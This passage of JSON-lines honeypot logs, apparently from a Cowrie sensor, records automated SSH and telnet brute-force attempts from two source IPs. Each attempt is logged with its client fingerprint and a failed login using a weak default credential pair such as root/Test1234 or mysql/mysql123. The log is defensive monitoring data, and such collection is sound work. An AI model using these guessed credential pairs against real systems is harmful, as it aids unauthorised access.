512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:33.574159Z","src_ip":"47.86.95.62","session":"d7246cf45b7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:47.995487Z","src_ip":"47.86.95.62","session":"d7246cf45b7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.3","message":"Connection lost after 17.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:50.653958Z","src_ip":"47.86.95.62","session":"d7246cf45b7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":43256,"dst_ip":"10.17.0.5","dst_port":22,"session":"84f9df3cfbc5","protocol":"ssh","message":"New connection: 47.86.95.62:43256 (10.17.0.5:22) [session: 84f9df3cfbc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:09.543768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:09.595279Z","src_ip":"47.86.95.62","session":"84f9df3cfbc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:09.902258Z","src_ip":"47.86.95.62","session":"84f9df3cfbc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:11.091370Z","src_ip":"47.86.95.62","session":"84f9df3cfbc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:12.324996Z","src_ip":"47.86.95.62","session":"84f9df3cfbc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":60118,"dst_ip":"10.17.0.5","dst_port":22,"session":"4704387dbd85","protocol":"ssh","message":"New connection: 47.86.95.62:60118 (10.17.0.5:22) [session: 4704387dbd85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:15.938428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:15.943943Z","src_ip":"47.86.95.62","session":"4704387dbd85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:16.150905Z","src_ip":"47.86.95.62","session":"4704387dbd85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:16.783729Z","src_ip":"47.86.95.62","session":"4704387dbd85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:17.992980Z","src_ip":"47.86.95.62","session":"4704387dbd85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":54120,"dst_ip":"10.17.0.5","dst_port":22,"session":"483f0a20fd5b","protocol":"ssh","message":"New connection: 47.86.95.62:54120 (10.17.0.5:22) [session: 483f0a20fd5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:39.434528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:40.133182Z","src_ip":"47.86.95.62","session":"483f0a20fd5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:40.140531Z","src_ip":"47.86.95.62","session":"483f0a20fd5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:45.640615Z","src_ip":"47.86.95.62","session":"483f0a20fd5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:46.945899Z","src_ip":"47.86.95.62","session":"483f0a20fd5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":32870,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7921c6f6d2e","protocol":"ssh","message":"New connection: 47.86.95.62:32870 (10.17.0.5:22) [session: b7921c6f6d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:48.690966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:48.707468Z","src_ip":"47.86.95.62","session":"b7921c6f6d2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:48.898435Z","src_ip":"47.86.95.62","session":"b7921c6f6d2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:49.823651Z","src_ip":"47.86.95.62","session":"b7921c6f6d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:51.031963Z","src_ip":"47.86.95.62","session":"b7921c6f6d2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37476,"dst_ip":"10.17.0.5","dst_port":22,"session":"a50f31319651","protocol":"ssh","message":"New connection: 47.86.95.62:37476 (10.17.0.5:22) [session: a50f31319651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:53.964642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:53.972025Z","src_ip":"47.86.95.62","session":"a50f31319651","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:47:58.232656Z","src_ip":"47.86.95.62","session":"a50f31319651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:12.355538Z","src_ip":"47.86.95.62","session":"a50f31319651","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00248956680298,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:14.547621Z","src_ip":"187.222.242.146","session":"49c557e047d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00186657905579,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:14.572690Z","src_ip":"187.222.242.146","session":"9c7b1ef85fb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00085806846619,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:14.579269Z","src_ip":"187.222.242.146","session":"2199a75472df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00147986412048,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:14.599965Z","src_ip":"187.222.242.146","session":"d9ebaa67d4b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"22.4","message":"Connection lost after 22.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:16.342109Z","src_ip":"47.86.95.62","session":"a50f31319651","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":46892,"dst_ip":"10.17.0.5","dst_port":22,"session":"0466b9edf1ae","protocol":"ssh","message":"New connection: 47.86.95.62:46892 (10.17.0.5:22) [session: 0466b9edf1ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:23.018704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:23.023472Z","src_ip":"47.86.95.62","session":"0466b9edf1ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:23.333510Z","src_ip":"47.86.95.62","session":"0466b9edf1ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:24.407153Z","src_ip":"47.86.95.62","session":"0466b9edf1ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:25.619167Z","src_ip":"47.86.95.62","session":"0466b9edf1ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":46900,"dst_ip":"10.17.0.5","dst_port":22,"session":"09462b54b099","protocol":"ssh","message":"New connection: 47.86.95.62:46900 (10.17.0.5:22) [session: 09462b54b099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:28.177458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:28.182065Z","src_ip":"47.86.95.62","session":"09462b54b099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:28.388633Z","src_ip":"47.86.95.62","session":"09462b54b099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:29.081839Z","src_ip":"47.86.95.62","session":"09462b54b099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":51542,"dst_ip":"159.203.135.109","dst_port":23,"session":"460ac3f97d53","protocol":"telnet","message":"New connection: 187.222.242.146:51542 (159.203.135.109:23) [session: 460ac3f97d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:33.955962Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":51530,"dst_ip":"159.203.135.109","dst_port":23,"session":"a507f6988e1d","protocol":"telnet","message":"New connection: 187.222.242.146:51530 (159.203.135.109:23) [session: a507f6988e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:33.960208Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":51566,"dst_ip":"159.203.135.109","dst_port":23,"session":"f02d1db630db","protocol":"telnet","message":"New connection: 187.222.242.146:51566 (159.203.135.109:23) [session: f02d1db630db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:34.057405Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":51588,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b0c9d850859","protocol":"telnet","message":"New connection: 187.222.242.146:51588 (159.203.135.109:23) [session: 5b0c9d850859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:34.062915Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":51758,"dst_ip":"159.203.135.109","dst_port":23,"session":"350f9f7fe688","protocol":"telnet","message":"New connection: 187.222.242.146:51758 (159.203.135.109:23) [session: 350f9f7fe688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:34.574010Z"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:40.502551Z","src_ip":"47.86.95.62","session":"09462b54b099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":50048,"dst_ip":"10.17.0.5","dst_port":22,"session":"571fc4db5f1f","protocol":"ssh","message":"New connection: 47.86.95.62:50048 (10.17.0.5:22) [session: 571fc4db5f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:58.768082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:48:59.609333Z","src_ip":"47.86.95.62","session":"571fc4db5f1f","protocol":"ssh"}
